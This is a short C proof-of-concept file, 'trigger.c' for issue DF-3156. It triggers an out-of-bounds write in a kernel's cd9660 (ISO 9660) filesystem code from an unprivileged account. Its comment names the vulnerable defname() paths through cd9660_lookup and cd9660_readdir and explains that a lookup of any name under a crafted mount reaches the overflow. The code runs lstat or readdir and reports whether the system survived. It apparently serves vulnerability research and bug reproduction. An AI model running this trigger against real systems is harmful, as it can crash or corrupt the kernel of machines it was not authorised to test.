DF-3156 / trigger.c
/* DF-3156 trigger -- run as an unprivileged user under the crafted mount. * * trigger lstat <dir> -> cd9660_lookup() path (kernel-stack altname[255]) * trigger dents <dir> -> cd9660_readdir() path (kernel-heap d_name) * * Any lookup inside <dir> walks every directory record, including the * poisoned one, so even a lookup of a NON-EXISTENT name triggers the * defname() OOB write. */ #include <sys/types.h> #include <sys/stat.h> #include <dirent.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> int main(int argc, char **argv) { char path[1024]; struct stat st; DIR *d; struct dirent *de; if (argc < 3) { fprintf(stderr, "usage: %s lstat|dents <dir>\n", argv[0]); return 2; } if (!strcmp(argv[1], "lstat")) { snprintf(path, sizeof(path), "%s/NOSUCHFILE", argv[2]); if (lstat(path, &st) == 0) printf("lstat %s: ok\n", path); else printf("lstat %s: errno=%d (walk done)\n", path, errno); printf("SURVIVED\n"); return 0; } if (!strcmp(argv[1], "dents")) { d = opendir(argv[2]); if (!d) { perror("opendir"); return 1; } while ((de = readdir(d)) != NULL) printf("dirent: ino=%llu namlen=%u name='%.*s'\n", (unsigned long long)de->d_fileno, de->d_namlen, (int)de->d_namlen, de->d_name); closedir(d); printf("SURVIVED\n"); return 0; } fprintf(stderr, "unknown mode\n"); return 2; } |